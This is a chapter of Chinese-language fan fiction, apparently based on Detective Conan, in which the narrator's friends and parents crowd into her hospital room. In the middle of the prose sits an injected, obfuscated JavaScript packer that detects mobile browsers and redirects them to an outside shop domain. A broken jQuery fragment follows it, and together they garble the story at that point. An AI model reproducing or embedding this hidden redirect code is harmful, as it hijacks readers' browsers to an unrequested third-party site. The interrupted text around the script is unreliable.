降谷零放下棉签,用手指在我的脸上戳了戳。
感觉到自己脸颊上凹进去一个坑的我:“……“
雨露均沾,两边脸颊都被戳了。
……降谷零也是个端水的人。
戳够了,降谷零才收回手:“等你伤好了,没准能有惊喜。”
我:“?”
我:“!”
我小心谨慎:“你不会又骗人吧!!”
降谷零非常正经地回答:“我不会骗人。”
我:“……”
这句话本身就是在骗人吧!
擦完药之后,后颈一片清凉。
夏天还好,在一月的气温里就显得有点冷了。
但为了不让药膏沾到头发上,我最终还是忍住了把挽起的头发放下来保暖的冲动。
……
洗漱完毕吃完早饭后,我吸溜着牛奶,看了一眼挂钟。
六点半。
我感慨:“真是个清静的——”
“砰砰砰砰砰——”
我的病房门被狠狠地敲了几下。
降谷零不动声色地往门口看去。
我默默地咽下了之后的话:“……?”
对方显然是象征性地敲敲门,还没过几秒钟,便急吼吼地推开了病房门。
门在墙上狠狠地反弹了一下。
“梦——子——”
是火急火燎左手一只鸡右手一只鸭大包小包装满了零食且声如洪钟的绫乃。
“你——好——惨——啊——”
她热泪盈眶地冲进病房里,带来一阵炸鸡和烤鸭的香气。
我:“…………”
怎么会有人大清早带着炸鸡和烤鸭来医院???
绫乃一屁股在我的病床上坐下,随意地朝降谷零点了点头示意,然后便热情地把那一大包零食扔在了我的附近:“够你住一个礼拜院吃的了!”
我:“可是我今天就要出院了耶。”
绫乃:“……”
我:“炸鸡和烤鸭是……?”
绫乃这才意识到自己手中的食盒正散发着让人垂涎欲滴的香气:“哦哦,我的早饭。”
我:“……”
降谷零非常高情商地拿着手机起身:“那我就先去打个电话,你们——”
他的话还没说完,绫乃突然想到了什么,扭头往病房门口看去:“你刚刚不是死活要跟着我来吗!怎么现在磨磨蹭蹭地不进来啊!”
我:“?”
我伸长了脖子,往门口看去。
一个脑袋悄悄地探出来。
“佐佐木学姐——”
我:“……”
我:“等等,你为什么会在这里???”
我一脸懵逼地看着从天而降的小林学弟。
“……”降谷零又坐下了。
绫乃扭头跟我解释:“我在楼下打电话的时候,被他听到了内容,说是你的学弟,要跟着我来看望你。”
小林学弟鸡啄米般点头:“我本来是来看望侄子的。”
我:“……那你的侄子呢?”
小林学弟毫不在意地挥了挥手:“他昨天在这里打吊针,早就结束了,不急,等会去看也一样的。”
他这时才发现了默默坐在一旁的降谷零,万分惊喜道:“学长!你也——”
习惯性地把迷弟招呼开了个头,小林学弟像是突然想起了什么似的,神情复杂地移开了视线,支支吾吾了半天,别扭道:“……原来你在啊,完全没注意,现在才看到你。”
还非常傲娇地发出了一声微弱的“哼”。
我:“……”
降谷零:“……”
清静的早晨消失了。
随意瞎聊了几句,死要面子的我已经把自己昨天的经历包装成了“多罗碧加乐园一女子勇斗炸弹犯最终获胜”的神奇故事。
单纯的小林学弟一脸崇拜:“学姐斯果一!!”
知道我几斤几两的绫乃满脸不信:“……”
她朝我挤眉弄眼了一阵,我心怀鬼胎地移开了视线:“这、这说明空手道课很有效果,我打算再续一个学期。”
绫乃冷笑:“呵。”
降谷零全程微笑着坐在一旁,对我的吹牛发言不做任何评价。
就在这时,他的手机响了。
降谷零垂眸看了眼屏幕,朝我笑了笑:“我出去接个电话,就在附近。”
我有点纳闷他为什么要跟我报备自己接电话的地点,但最终只是点点头:“哦哦。”
降谷零悠悠地出门了。
我又和他们聊了几句。
绫乃发现了角落的兔兔玩偶装,发出一声疑惑的感叹:“咦?那是什么?病房怎么会有这种东西?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14178618|150618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她转头,又看见了被我丢在沙发上的巨型兔兔玩偶,脸上的神情愈发疑惑。
我指了指玩偶装,面容严肃:“兔男郎。”
绫乃一脸懵逼:“……你这是什么XP啊?”
小林学弟一脸懵懂地看着我们,非常纯良。
就在这时,病房门再度被狠狠地敲了几下。
我默默地咽下了之后的话:“……?”
又来???
这次的来人显然也
是象征性地敲敲门。
“啪——”
门再次在墙上狠狠地反弹了一下。
“梦——子——宝——贝——”
……是昨天原本打算坐凌晨的飞机过来但最终勉强同意“明天再说”的我爸我妈。
我爸热泪盈眶,我妈激动万分。
我愣住:“……绫乃,你才是他们亲生的吧。”
绫乃没理我,甜蜜地朝我爸我妈笑了笑:“叔叔阿姨好~”
小林学弟有样学样:“叔叔阿姨好~”
甚至连语调都是一致的。
我:“……”
……
我爸我妈仿佛考古学家研究出土文物一般拿着放大镜把我从头打量到脚,以确认我的伤势到底有多严重。
半晌,我妈沉声道:“胖了一点。”
我爸内涵道:“你的花生汤男朋友这么会做饭吗?”
被打击的我:“……”
自从我爸上次在电话里听到降谷零那句“家里好像没有花生了”之后,就一直管对方叫花生汤男朋友。
……哪怕我还没有正式把降谷零介绍给他们。
在我用绫乃带来的一大包零食为牺牲品而发誓伤口真的不严重后,他们总算如释重负地在沙发上坐下了。
简单地聊了聊近况后,我突然想起一件事:“你们刚下飞机吗?行李呢?这么早就放到酒店里了吗?”
我爸恍然大悟地拍了拍脑门:“欸,我就说忘了什么!”
我:“?”
我:“你把行李忘在机场了??”
我爸连连摆手以左证自己的记忆力:“不是不是。”
他扭头朝门外吩咐:“可以进了!”
我:“……?”
你们来看我,都还带了别人??
病房门开了。
一群无